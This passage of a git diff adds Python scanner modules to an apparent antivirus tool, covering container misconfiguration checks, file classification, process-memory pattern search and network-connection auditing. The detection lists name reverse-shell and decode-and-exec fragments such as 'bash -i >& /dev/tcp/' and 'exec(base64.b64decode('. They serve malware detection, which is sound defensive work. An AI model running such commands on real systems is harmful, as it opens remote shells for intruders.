"/home", + } + for mount in c.get("Mounts", []): + src = mount.get("Source", "") + if src in _SENSITIVE_MOUNTS: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="SensitiveMount.Container", + threat_type="misconfiguration", + severity="HIGH", + details=( + f"Container mounts sensitive host path: " + f"{src} -> {mount.get('Destination', '')}" + ), + )) + + # No resource limits + mem_limit = host_config.get("Memory", 0) + cpu_quota = host_config.get("CpuQuota", 0) + if mem_limit == 0 and cpu_quota == 0: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="NoResourceLimits.Container", + threat_type="misconfiguration", + severity="LOW", + details=( + "Container has no memory or CPU limits. " + "A compromised container could consume all host resources." + ), + )) + + # Security profiles disabled + security_opt = host_config.get("SecurityOpt", []) or [] + for opt in security_opt: + opt_str = str(opt) + if "apparmor=unconfined" in opt_str or "seccomp=unconfined" in opt_str: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="SecurityDisabled.Container", + threat_type="misconfiguration", + severity="HIGH", + details=f"Container security profile disabled: {opt}", + )) + + return threats + + # -- Image checks -------------------------------------------------- + + @staticmethod + def _check_image( + container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check if the container image has known issues.""" + threats: List[ContainerThreat] = [] + + # Using :latest or untagged image + image_name = container.image.split("/")[-1] + if container.image.endswith(":latest") or ":" not in image_name: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="LatestTag.Container", + threat_type="misconfiguration", + severity="LOW", + details=( + f"Container using ':latest' or untagged image " + f"'{container.image}'. " + f"Pin to a specific version for reproducibility." + ), + )) + + return threats + + # -- Incus security checks ----------------------------------------- + + def _check_incus_security( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check Incus container security configuration.""" + threats: List[ContainerThreat] = [] + labels = container.labels or {} + + # security.privileged = true + if labels.get("security.privileged") == "true": + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="PrivilegedMode.Incus", + threat_type="misconfiguration", + severity="CRITICAL", + details=( + "Incus container running in privileged mode! " + "This grants full host access." + ), + )) + + # security.nesting=true is required for Docker-in-Incus setups + # (e.g. Dokploy). Only flag it when combined with privileged mode. + if ( + labels.get("security.nesting") == "true" + and labels.get("security.privileged") == "true" + ): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="PrivilegedNesting.Incus", + threat_type="misconfiguration", + severity="CRITICAL", + details=( + "Container has security.nesting=true AND " + "security.privileged=true. This is a dangerous " + "combination allowing full host escape." + ), + )) + + # Check for Docker inside Incus (nested Docker). + if container.status == "running" and self._incus_cmd: + name = self._sanitize_id(container.name) + stdout, _, rc = self._run_cmd( + [self._incus_cmd, "exec", name, "--", "docker", "ps", "-q"], + timeout=10, + ) + if rc == 0 and stdout.strip(): + n_docker = len(stdout.strip().splitlines()) + # Not a threat — informational label stored in labels + # for the dashboard to display. + container.labels["_nested_docker_containers"] = str(n_docker) + + return threats + + def _check_filesystem_via_exec( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Scan an Incus container's filesystem via ``incus exec``.""" + threats: List[ContainerThreat] = [] + if container.status != "running" or not self._incus_cmd: + return threats + + name = self._sanitize_id(container.name) + check_dirs = ["/tmp", "/var/tmp", "/dev/shm", "/root"] + + for check_dir in check_dirs: + cmd = [ + self._incus_cmd, "exec", name, "--", + "find", check_dir, "-maxdepth", "3", "-type", "f", + "-name", "*.sh", "-o", "-name", "*.py", + "-o", "-name", "*.elf", "-o", "-name", "*.bin", + ] + stdout, _, rc = self._run_cmd(cmd, timeout=15) + if rc != 0 or not stdout: + continue + for fpath in stdout.splitlines()[:50]: + fpath = fpath.strip() + if not fpath: + continue + cat_cmd = [ + self._incus_cmd, "exec", name, "--", + "head", "-c", "8192", fpath, + ] + content, _, crc = self._run_cmd(cat_cmd, timeout=10) + if crc != 0: + continue + ct_lower = content.lower() + + if "stratum+tcp://" in ct_lower or "stratum+ssl://" in ct_lower: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="MinerConfig.Incus", + threat_type="miner", + severity="CRITICAL", + details=f"Mining config found in container: {fpath}", + file_path=fpath, + )) + + _MALICIOUS_PATTERNS = [ + "eval(base64_decode(", + "exec(base64.b64decode(", + "import socket;socket.socket", + "/dev/tcp/", + "bash -i >& /dev/tcp/", + ] + if any(s in ct_lower for s in _MALICIOUS_PATTERNS): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="MaliciousScript.Incus", + threat_type="malware", + severity="HIGH", + details=f"Suspicious script in container file: {fpath}", + file_path=fpath, + )) + return threats + + # ------------------------------------------------------------------ + # Exec prefix + # ------------------------------------------------------------------ + + def _get_exec_prefix( + self, container: ContainerInfo, + ) -> Optional[List[str]]: + """Get the command prefix to execute commands inside a container.""" + if container.status != "running": + return None + cid = self._sanitize_id(container.container_id) + if container.runtime == "incus" and self._incus_cmd: + name = self._sanitize_id(container.name) + return [self._incus_cmd, "exec", name, "--"] + if container.runtime == "docker" and self._docker_cmd: + return [self._docker_cmd, "exec", cid] + if container.runtime == "podman" and self._podman_cmd: + return [self._podman_cmd, "exec", cid] + if container.runtime == "lxc": + lxc_attach = shutil.which("lxc-attach") + if lxc_attach: + name = self._sanitize_id(container.name) + return [lxc_attach, "-n", name, "--"] + return None + + # ------------------------------------------------------------------ + # Utility methods + # ------------------------------------------------------------------ + + def get_container_logs( + self, + container_id: str, + runtime: str = "docker", + lines: int = 100, + ) -> str: + """Get recent logs from a container.""" + cid = self._sanitize_id(container_id) + if runtime == "incus" and self._incus_cmd: + stdout, _, rc = self._run_cmd( + [self._incus_cmd, "exec", cid, "--", + "journalctl", "--no-pager", "-n", str(lines)], + timeout=15, + ) + return stdout if rc == 0 else "" + if runtime in ("docker", "podman"): + cmd_bin = ( + self._docker_cmd if runtime == "docker" else self._podman_cmd + ) + if not cmd_bin: + return "" + stdout, _, rc = self._run_cmd( + [cmd_bin, "logs", "--tail", str(lines), cid], + timeout=15, + ) + return stdout if rc == 0 else "" + return "" + + def get_container_stats( + self, + container_id: str, + runtime: str = "docker", + ) -> Dict[str, Any]: + """Get resource usage stats for a container.""" + cid = self._sanitize_id(container_id) + if runtime in ("docker", "podman"): + cmd_bin = ( + self._docker_cmd if runtime == "docker" else self._podman_cmd + ) + if not cmd_bin: + return {} + fmt = ( + '{"cpu":"{{.CPUPerc}}","mem":"{{.MemUsage}}",' + '"net":"{{.NetIO}}","block":"{{.BlockIO}}",' + '"pids":"{{.PIDs}}"}' + ) + stdout, _, rc = self._run_cmd( + [cmd_bin, "stats", cid, "--no-stream", "--format", fmt], + timeout=15, + ) + if rc != 0: + return {} + try: + return json.loads(stdout) + except json.JSONDecodeError: + return {} + return {} diff --git a/ayn-antivirus/ayn_antivirus/scanners/file_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/file_scanner.py new file mode 100644 index 0000000..9dddbf9 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/file_scanner.py @@ -0,0 +1,258 @@ +"""File-system scanner for AYN Antivirus. + +Walks directories, gathers file metadata, hashes files, and classifies +them by type (ELF binary, script, suspicious extension) so that downstream +detectors can focus on high-value targets. +""" + +from __future__ import annotations + +import grp +import logging +import os +import pwd +import stat +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, Generator, List, Optional + +from ayn_antivirus.constants import ( + MAX_FILE_SIZE, + SUSPICIOUS_EXTENSIONS, +) +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Well-known magic bytes +# --------------------------------------------------------------------------- +_ELF_MAGIC = b"\x7fELF" +_SCRIPT_SHEBANGS = (b"#!", b"#!/") +_PE_MAGIC = b"MZ" + + +class FileScanner(BaseScanner): + """Enumerates, classifies, and hashes files on disk. + + This scanner does **not** perform threat detection itself — it prepares + the metadata that detectors (YARA, hash-lookup, heuristic) consume. + + Parameters + ---------- + max_file_size: + Skip files larger than this (bytes). Defaults to + :pydata:`constants.MAX_FILE_SIZE`. + """ + + def __init__(self, max_file_size: int = MAX_FILE_SIZE) -> None: + self.max_file_size = max_file_size + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "file_scanner" + + @property + def description(self) -> str: + return "Enumerates and classifies files on disk" + + def scan(self, target: Any) -> Dict[str, Any]: + """Scan a single file and return its metadata + hash. + + Parameters + ---------- + target: + A path (``str`` or ``Path``) to the file. + + Returns + ------- + dict + Keys: ``path``, ``size``, ``hash``, ``is_elf``, ``is_script``, + ``suspicious_ext``, ``info``, ``header``, ``error``. + """ + filepath = Path(target) + result: Dict[str, Any] = { + "path": str(filepath), + "size": 0, + "hash": "", + "is_elf": False, + "is_script": False, + "suspicious_ext": False, + "info": {}, + "header": b"", + "error": None, + } + + try: + info = self.get_file_info(filepath) + result["info"] = info + result["size"] = info.get("size", 0) + except OSError as exc: + result["error"] = str(exc) + return result + + if result["size"] > self.max_file_size: + result["error"] = f"Exceeds max size ({result['size']} > {self.max_file_size})" + return result + + try: + result["hash"] = self.compute_hash(filepath) + except OSError as exc: + result["error"] = f"Hash failed: {exc}" + return result + + try: + result["header"] = self.read_file_header(filepath) + except OSError: + pass # non-fatal + + result["is_elf"] = self.is_elf_binary(filepath) + result["is_script"] = self.is_script(filepath) + result["suspicious_ext"] = self.is_suspicious_extension(filepath) + + return result + + # ------------------------------------------------------------------ + # Directory walking + # ------------------------------------------------------------------ + + @staticmethod + def walk_directory( + path: str | Path, + recursive: bool = True, + exclude_patterns: Optional[List[str]] = None, + ) -> Generator[Path, None, None]: + """Yield every regular file under *path*. + + Parameters + ---------- + path: + Root directory to walk. + recursive: + If ``False``, only yield files in the top-level directory. + exclude_patterns: + Path prefixes or glob-style patterns to skip. A file is skipped + if its absolute path starts with any pattern string. + """ + root = Path(path).resolve() + exclude = [str(Path(p).resolve()) for p in (exclude_patterns or [])] + + if root.is_file(): + yield root + return + + iterator = root.rglob("*") if recursive else root.iterdir() + try: + for entry in iterator: + if not entry.is_file(): + continue + entry_str = str(entry) + if any(entry_str.startswith(ex) for ex in exclude): + continue + yield entry + except PermissionError: + logger.warning("Permission denied walking: %s", root) + + # ------------------------------------------------------------------ + # File metadata + # ------------------------------------------------------------------ + + @staticmethod + def get_file_info(path: str | Path) -> Dict[str, Any]: + """Return a metadata dict for the file at *path*. + + Keys + ---- + size, permissions, permissions_octal, owner, group, modified_time, + created_time, is_symlink, is_suid, is_sgid. + + Raises + ------ + OSError + If the file cannot be stat'd. + """ + p = Path(path) + st = p.stat() + mode = st.st_mode + + # Owner / group — fall back gracefully on systems without the user. + try: + owner = pwd.getpwuid(st.st_uid).pw_name + except (KeyError, ImportError): + owner = str(st.st_uid) + + try: + group = grp.getgrgid(st.st_gid).gr_name + except (KeyError, ImportError): + group = str(st.st_gid) + + return { + "size": st.st_size, + "permissions": stat.filemode(mode), + "permissions_octal": oct(mode & 0o7777), + "owner": owner, + "group": group, + "modified_time": datetime.utcfromtimestamp(st.st_mtime).isoformat(), + "created_time": datetime.utcfromtimestamp(st.st_ctime).isoformat(), + "is_symlink": p.is_symlink(), + "is_suid": bool(mode & stat.S_ISUID), + "is_sgid": bool(mode & stat.S_ISGID), + } + + # ------------------------------------------------------------------ + # Hashing + # ------------------------------------------------------------------ + + @staticmethod + def compute_hash(path: str | Path, algorithm: str = "sha256") -> str: + """Compute file hash. Delegates to canonical implementation.""" + from ayn_antivirus.utils.helpers import hash_file + return hash_file(str(path), algo=algorithm) + + # ------------------------------------------------------------------ + # Header / magic number + # ------------------------------------------------------------------ + + @staticmethod + def read_file_header(path: str | Path, size: int = 8192) -> bytes: + """Read the first *size* bytes of a file (for magic-number checks). + + Raises + ------ + OSError + If the file cannot be opened. + """ + with open(path, "rb") as fh: + return fh.read(size) + + # ------------------------------------------------------------------ + # Type classification + # ------------------------------------------------------------------ + + @staticmethod + def is_elf_binary(path: str | Path) -> bool: + """Return ``True`` if *path* begins with the ELF magic number.""" + try: + with open(path, "rb") as fh: + return fh.read(4) == _ELF_MAGIC + except OSError: + return False + + @staticmethod + def is_script(path: str | Path) -> bool: + """Return ``True`` if *path* starts with a shebang (``#!``).""" + try: + with open(path, "rb") as fh: + head = fh.read(3) + return any(head.startswith(s) for s in _SCRIPT_SHEBANGS) + except OSError: + return False + + @staticmethod + def is_suspicious_extension(path: str | Path) -> bool: + """Return ``True`` if the file suffix is in :pydata:`SUSPICIOUS_EXTENSIONS`.""" + return Path(path).suffix.lower() in SUSPICIOUS_EXTENSIONS diff --git a/ayn-antivirus/ayn_antivirus/scanners/memory_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/memory_scanner.py new file mode 100644 index 0000000..080f0f8 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/memory_scanner.py @@ -0,0 +1,332 @@ +"""Process memory scanner for AYN Antivirus. + +Reads ``/proc//maps`` and ``/proc//mem`` on Linux to search for +injected code, suspicious byte patterns (mining pool URLs, known malware +strings), and anomalous RWX memory regions. + +Most operations require **root** privileges. On non-Linux systems the +scanner gracefully returns empty results. +""" + +from __future__ import annotations + +import logging +import os +import re +from pathlib import Path +from typing import Any, Dict, List, Optional, Sequence + +from ayn_antivirus.constants import CRYPTO_POOL_DOMAINS +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + +# Default byte-level patterns to search for in process memory. +_DEFAULT_PATTERNS: List[bytes] = [ + # Mining pool URLs + *(domain.encode() for domain in CRYPTO_POOL_DOMAINS), + # Common miner stratum strings + b"stratum+tcp://", + b"stratum+ssl://", + b"stratum2+tcp://", + # Suspicious shell commands sometimes found in injected memory + b"/bin/sh -c", + b"/bin/bash -i", + b"/dev/tcp/", + # Known malware markers + b"PAYLOAD_START", + b"x86_64-linux-gnu", + b"ELF\x02\x01\x01", +] + +# Size of chunks when reading /proc//mem. +_MEM_READ_CHUNK = 65536 + +# Regex to parse a single line from /proc//maps. +# address perms offset dev inode pathname +# 7f1c2a000000-7f1c2a021000 rw-p 00000000 00:00 0 [heap] +_MAPS_RE = re.compile( + r"^([0-9a-f]+)-([0-9a-f]+)\s+(r[w-][x-][ps-])\s+\S+\s+\S+\s+\d+\s*(.*)", + re.MULTILINE, +) + + +class MemoryScanner(BaseScanner): + """Scan process memory for injected code and suspicious patterns. + + .. note:: + This scanner only works on Linux where ``/proc`` is available. + Operations on ``/proc//mem`` typically require root or + ``CAP_SYS_PTRACE``. + """ + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "memory_scanner" + + @property + def description(self) -> str: + return "Scans process memory for injected code and malicious patterns" + + def scan(self, target: Any) -> Dict[str, Any]: + """Scan a single process by PID. + + Parameters + ---------- + target: + The PID (``int``) of the process to inspect. + + Returns + ------- + dict + ``pid``, ``rwx_regions``, ``pattern_matches``, ``strings_sample``, + ``error``. + """ + pid = int(target) + result: Dict[str, Any] = { + "pid": pid, + "rwx_regions": [], + "pattern_matches": [], + "strings_sample": [], + "error": None, + } + + if not Path("/proc").is_dir(): + result["error"] = "Not a Linux system — /proc not available" + return result + + try: + result["rwx_regions"] = self.find_injected_code(pid) + result["pattern_matches"] = self.scan_for_patterns(pid, _DEFAULT_PATTERNS) + result["strings_sample"] = self.get_memory_strings(pid, min_length=8)[:200] + except PermissionError: + result["error"] = f"Permission denied reading /proc/{pid}/mem (need root)" + except FileNotFoundError: + result["error"] = f"Process {pid} no longer exists" + except Exception as exc: + result["error"] = str(exc) + logger.exception("Error scanning memory for PID %d", pid) + + return result + + # ------------------------------------------------------------------ + # /proc//maps parsing + # ------------------------------------------------------------------ + + @staticmethod + def _read_maps(pid: int) -> List[Dict[str, Any]]: + """Parse ``/proc//maps`` and return a list of memory regions. + + Each dict contains ``start`` (int), ``end`` (int), ``perms`` (str), + ``pathname`` (str). + + Raises + ------ + FileNotFoundError + If the process does not exist. + PermissionError + If the caller cannot read the maps file. + """ + maps_path = Path(f"/proc/{pid}/maps") + content = maps_path.read_text() + + regions: List[Dict[str, Any]] = [] + for match in _MAPS_RE.finditer(content): + regions.append({ + "start": int(match.group(1), 16), + "end": int(match.group(2), 16), + "perms": match.group(3), + "pathname": match.group(4).strip(), + }) + return regions + + # ------------------------------------------------------------------ + # Memory reading helper + # ------------------------------------------------------------------ + + @staticmethod + def _read_region(pid: int, start: int, end: int) -> bytes: + """Read bytes from ``/proc//mem`` between *start* and *end*. + + Returns as many bytes as could be read; silently returns partial + data if parts of the region are not readable. + """ + mem_path = f"/proc/{pid}/mem" + data = bytearray() + try: + fd = os.open(mem_path, os.O_RDONLY) + try: + os.lseek(fd, start, os.SEEK_SET) + remaining = end - start + while remaining > 0: + chunk_size = min(_MEM_READ_CHUNK, remaining) + try: + chunk = os.read(fd, chunk_size) + except OSError: + break + if not chunk: + break + data.extend(chunk) + remaining -= len(chunk) + finally: + os.close(fd) + except OSError: + pass # region may be unmapped by the time we read + return bytes(data) + + # ------------------------------------------------------------------ + # Public scanning methods + # ------------------------------------------------------------------ + + def scan_process_memory(self, pid: int) -> List[Dict[str, Any]]: + """Scan all readable regions of a process's address space. + + Returns a list of dicts, one per region, containing ``start``, + ``end``, ``perms``, ``pathname``, and a boolean ``has_suspicious`` + flag set when default patterns are found. + + Raises + ------ + PermissionError, FileNotFoundError + """ + regions = self._read_maps(pid) + results: List[Dict[str, Any]] = [] + + for region in regions: + # Only read regions that are at least readable. + if not region["perms"].startswith("r"): + continue + + size = region["end"] - region["start"] + if size > 50 * 1024 * 1024: + continue # skip very large regions to avoid OOM + + data = self._read_region(pid, region["start"], region["end"]) + has_suspicious = any(pat in data for pat in _DEFAULT_PATTERNS) + + results.append({ + "start": hex(region["start"]), + "end": hex(region["end"]), + "perms": region["perms"], + "pathname": region["pathname"], + "size": size, + "has_suspicious": has_suspicious, + }) + + return results + + def find_injected_code(self, pid: int) -> List[Dict[str, Any]]: + """Find memory regions with **RWX** (read-write-execute) permissions. + + Legitimate applications rarely need RWX regions. Their presence may + indicate code injection, JIT shellcode, or a packed/encrypted payload + that has been unpacked at runtime. + + Returns a list of dicts with ``start``, ``end``, ``perms``, + ``pathname``, ``size``. + """ + regions = self._read_maps(pid) + rwx: List[Dict[str, Any]] = [] + + for region in regions: + perms = region["perms"] + # RWX = positions: r(0) w(1) x(2) + if len(perms) >= 3 and perms[0] == "r" and perms[1] == "w" and perms[2] == "x": + size = region["end"] - region["start"] + rwx.append({ + "start": hex(region["start"]), + "end": hex(region["end"]), + "perms": perms, + "pathname": region["pathname"], + "size": size, + "severity": "HIGH", + "reason": f"RWX region ({size} bytes) — possible code injection", + }) + + return rwx + + def get_memory_strings( + self, + pid: int, + min_length: int = 6, + ) -> List[str]: + """Extract printable ASCII strings from readable memory regions. + + Parameters + ---------- + min_length: + Minimum string length to keep. + + Returns a list of decoded strings (capped at 500 chars each). + """ + regions = self._read_maps(pid) + strings: List[str] = [] + printable_re = re.compile(rb"[\x20-\x7e]{%d,}" % min_length) + + for region in regions: + if not region["perms"].startswith("r"): + continue + size = region["end"] - region["start"] + if size > 10 * 1024 * 1024: + continue # skip huge regions + + data = self._read_region(pid, region["start"], region["end"]) + for match in printable_re.finditer(data): + s = match.group().decode("ascii", errors="replace") + strings.append(s[:500]) + + # Cap total to avoid unbounded memory usage. + if len(strings) >= 10_000: + return strings + + return strings + + def scan_for_patterns( + self, + pid: int, + patterns: Optional[Sequence[bytes]] = None, + ) -> List[Dict[str, Any]]: + """Search process memory for specific byte patterns. + + Parameters + ---------- + patterns: + Byte strings to search for. Defaults to + :pydata:`_DEFAULT_PATTERNS` (mining pool URLs, stratum prefixes, + shell commands). + + Returns a list of dicts with ``pattern``, ``region_start``, + ``region_perms``, ``offset``. + """ + if patterns is None: + patterns = _DEFAULT_PATTERNS + + regions = self._read_maps(pid) + matches: List[Dict[str, Any]] = [] + + for region in regions: + if not region["perms"].startswith("r"): + continue + size = region["end"] - region["start"] + if size > 50 * 1024 * 1024: + continue + + data = self._read_region(pid, region["start"], region["end"]) + for pat in patterns: + idx = data.find(pat) + if idx != -1: + matches.append({ + "pattern": pat.decode("utf-8", errors="replace"), + "region_start": hex(region["start"]), + "region_perms": region["perms"], + "region_pathname": region["pathname"], + "offset": idx, + "severity": "HIGH", + "reason": f"Suspicious pattern found in memory: {pat[:60]!r}", + }) + + return matches diff --git a/ayn-antivirus/ayn_antivirus/scanners/network_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/network_scanner.py new file mode 100644 index 0000000..06b6495 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/network_scanner.py @@ -0,0 +1,328 @@ +"""Network scanner for AYN Antivirus. + +Inspects active TCP/UDP connections for traffic to known mining pools, +suspicious ports, and unexpected listening services. Also audits +``/etc/resolv.conf`` for DNS hijacking indicators. +""" + +from __future__ import annotations + +import logging +import re +from pathlib import Path +from typing import Any, Dict, List, Optional + +import psutil + +from ayn_antivirus.constants import ( + CRYPTO_POOL_DOMAINS, + SUSPICIOUS_PORTS, +) +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + +# Well-known system services that are *expected* to listen — extend as needed. +_EXPECTED_LISTENERS = { + 22: "sshd", + 53: "systemd-resolved", + 80: "nginx", + 443: "nginx", + 3306: "mysqld", + 5432: "postgres", + 6379: "redis-server", + 8080: "java", +} + +# Known-malicious / suspicious public DNS servers sometimes injected by +# malware into resolv.conf to redirect DNS queries. +_SUSPICIOUS_DNS_SERVERS = [ + "8.8.4.4", # not inherently bad, but worth noting if unexpected + "1.0.0.1", + "208.67.222.123", + "198.54.117.10", + "77.88.8.7", + "94.140.14.14", +] + + +class NetworkScanner(BaseScanner): + """Scan active network connections for suspicious activity. + + Wraps :func:`psutil.net_connections` and enriches each connection with + process ownership and threat classification. + """ + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "network_scanner" + + @property + def description(self) -> str: + return "Inspects network connections for mining pools and suspicious ports" + + def scan(self, target: Any = None) -> Dict[str, Any]: + """Run a full network scan. + + *target* is ignored — all connections are inspected. + + Returns + ------- + dict + ``total``, ``suspicious``, ``unexpected_listeners``, ``dns_issues``. + """ + all_conns = self.get_all_connections() + suspicious = self.find_suspicious_connections() + listeners = self.check_listening_ports() + dns = self.check_dns_queries() + + return { + "total": len(all_conns), + "suspicious": suspicious, + "unexpected_listeners": listeners, + "dns_issues": dns, + } + + # ------------------------------------------------------------------ + # Connection enumeration + # ------------------------------------------------------------------ + + @staticmethod + def get_all_connections() -> List[Dict[str, Any]]: + """Return a snapshot of every inet connection. + + Each dict contains: ``fd``, ``family``, ``type``, ``local_addr``, + ``remote_addr``, ``status``, ``pid``, ``process_name``. + """ + result: List[Dict[str, Any]] = [] + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return result + + for conn in connections: + local = f"{conn.laddr.ip}:{conn.laddr.port}" if conn.laddr else "" + remote = f"{conn.raddr.ip}:{conn.raddr.port}" if conn.raddr else "" + + proc_name = "" + if conn.pid: + try: + proc_name = psutil.Process(conn.pid).name() + except (psutil.NoSuchProcess, psutil.AccessDenied): + proc_name = "?" + + result.append({ + "fd": conn.fd, + "family": str(conn.family), + "type": str(conn.type), + "local_addr": local, + "remote_addr": remote, + "status": conn.status, + "pid": conn.pid, + "process_name": proc_name, + }) + + return result + + # ------------------------------------------------------------------ + # Suspicious-connection detection + # ------------------------------------------------------------------ + + def find_suspicious_connections(self) -> List[Dict[str, Any]]: + """Identify connections to known mining pools or suspicious ports. + + Checks remote addresses against :pydata:`constants.CRYPTO_POOL_DOMAINS` + and :pydata:`constants.SUSPICIOUS_PORTS`. + """ + suspicious: List[Dict[str, Any]] = [] + + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return suspicious + + for conn in connections: + raddr = conn.raddr + if not raddr: + continue + + remote_ip = raddr.ip + remote_port = raddr.port + local_str = f"{conn.laddr.ip}:{conn.laddr.port}" if conn.laddr else "?" + remote_str = f"{remote_ip}:{remote_port}" + + proc_info = self.resolve_process_for_connection(conn) + + # Suspicious port. + if remote_port in SUSPICIOUS_PORTS: + suspicious.append({ + "local_addr": local_str, + "remote_addr": remote_str, + "pid": conn.pid, + "process": proc_info, + "status": conn.status, + "reason": f"Connection on known mining port {remote_port}", + "severity": "HIGH", + }) + + # Mining-pool domain (substring match on IP / hostname). + for domain in CRYPTO_POOL_DOMAINS: + if domain in remote_ip: + suspicious.append({ + "local_addr": local_str, + "remote_addr": remote_str, + "pid": conn.pid, + "process": proc_info, + "status": conn.status, + "reason": f"Connection to known mining pool: {domain}", + "severity": "CRITICAL", + }) + break + + return suspicious + + # ------------------------------------------------------------------ + # Listening-port audit + # ------------------------------------------------------------------ + + @staticmethod + def check_listening_ports() -> List[Dict[str, Any]]: + """Return listening sockets that are *not* in the expected-services list. + + Unexpected listeners may indicate a backdoor or reverse shell. + """ + unexpected: List[Dict[str, Any]] = [] + + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return unexpected + + for conn in connections: + if conn.status != "LISTEN": + continue + + port = conn.laddr.port if conn.laddr else None + if port is None: + continue + + proc_name = "" + if conn.pid: + try: + proc_name = psutil.Process(conn.pid).name() + except (psutil.NoSuchProcess, psutil.AccessDenied): + proc_name = "?" + + expected_name = _EXPECTED_LISTENERS.get(port) + if expected_name and expected_name in proc_name: + continue # known good + + # Skip very common ephemeral / system ports when we can't resolve. + if port > 49152: + continue + + if port not in _EXPECTED_LISTENERS: + unexpected.append({ + "port": port, + "local_addr": f"{conn.laddr.ip}:{port}" if conn.laddr else f"?:{port}", + "pid": conn.pid, + "process_name": proc_name, + "reason": f"Unexpected listening service on port {port}", + "severity": "MEDIUM", + }) + + return unexpected + + # ------------------------------------------------------------------ + # Process resolution + # ------------------------------------------------------------------ + + @staticmethod + def resolve_process_for_connection(conn: Any) -> Dict[str, Any]: + """Return basic process info for a ``psutil`` connection object. + + Returns + ------- + dict + ``pid``, ``name``, ``cmdline``, ``username``. + """ + info: Dict[str, Any] = { + "pid": conn.pid, + "name": "", + "cmdline": [], + "username": "", + } + if not conn.pid: + return info + + try: + proc = psutil.Process(conn.pid) + info["name"] = proc.name() + info["cmdline"] = proc.cmdline() + info["username"] = proc.username() + except (psutil.NoSuchProcess, psutil.AccessDenied): + pass + + return info + + # ------------------------------------------------------------------ + # DNS audit + # ------------------------------------------------------------------ + + @staticmethod + def check_dns_queries() -> List[Dict[str, Any]]: + """Audit ``/etc/resolv.conf`` for suspicious DNS server entries. + + Malware sometimes rewrites ``resolv.conf`` to redirect DNS through an + attacker-controlled resolver, enabling man-in-the-middle attacks or + DNS-based C2 communication. + """ + issues: List[Dict[str, Any]] = [] + resolv_path = Path("/etc/resolv.conf") + + if not resolv_path.exists(): + return issues + + try: + content = resolv_path.read_text() + except PermissionError: + logger.warning("Cannot read /etc/resolv.conf") + return issues + + nameserver_re = re.compile(r"^\s*nameserver\s+(\S+)", re.MULTILINE) + for match in nameserver_re.finditer(content): + server = match.group(1) + + if server in _SUSPICIOUS_DNS_SERVERS: + issues.append({ + "server": server, + "file": str(resolv_path), + "reason": f"Potentially suspicious DNS server: {server}", + "severity": "MEDIUM", + }) + + # Flag non-RFC1918 / non-loopback servers that look unusual. + if not ( + server.startswith("127.") + or server.startswith("10.") + or server.startswith("192.168.") + or server.startswith("172.") + or server == "::1" + ): + # External DNS — not inherently bad but worth logging if the + # admin didn't set it intentionally. + issues.append({ + "server": server, + "file": str(resolv_path), + "reason": f"External DNS server configured: {server}", + "severity": "LOW", + }) + + return issues diff --git a/ayn-antivirus/ayn_antivirus/scanners/process_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/process_scanner.py new file mode 100644 index 0000000..acf1a68 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/process_scanner.py @@ -0,0 +1,387 @@ +"""Process scanner for AYN Antivirus. + +Inspects running processes for known crypto-miners, anomalous CPU usage, +and hidden / stealth processes. Uses ``psutil`` for cross-platform process +enumeration and ``/proc`` on Linux for hidden-process detection. +""" + +from __future__ import annotations + +import logging +import os +import signal +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional + +import psutil + +from ayn_antivirus.constants import ( + CRYPTO_MINER_PROCESS_NAMES, + HIGH_CPU_THRESHOLD, +) +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + + +class ProcessScanner(BaseScanner): + """Scan running processes for malware, miners, and anomalies. + + Parameters + ---------- + cpu_threshold: + CPU-usage percentage above which a process is flagged. Defaults to + :pydata:`constants.HIGH_CPU_THRESHOLD`. + """ + + def __init__(self, cpu_threshold: float = HIGH_CPU_THRESHOLD) -> None: + self.cpu_threshold = cpu_threshold + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "process_scanner" + + @property + def description(self) -> str: + return "Inspects running processes for miners and suspicious activity" + + def scan(self, target: Any = None) -> Dict[str, Any]: + """Run a full process scan. + + *target* is ignored — all live processes are inspected. + + Returns + ------- + dict + ``total``, ``suspicious``, ``high_cpu``, ``hidden``. + """ + all_procs = self.get_all_processes() + suspicious = self.find_suspicious_processes() + high_cpu = self.find_high_cpu_processes() + hidden = self.find_hidden_processes() + + return { + "total": len(all_procs), + "suspicious": 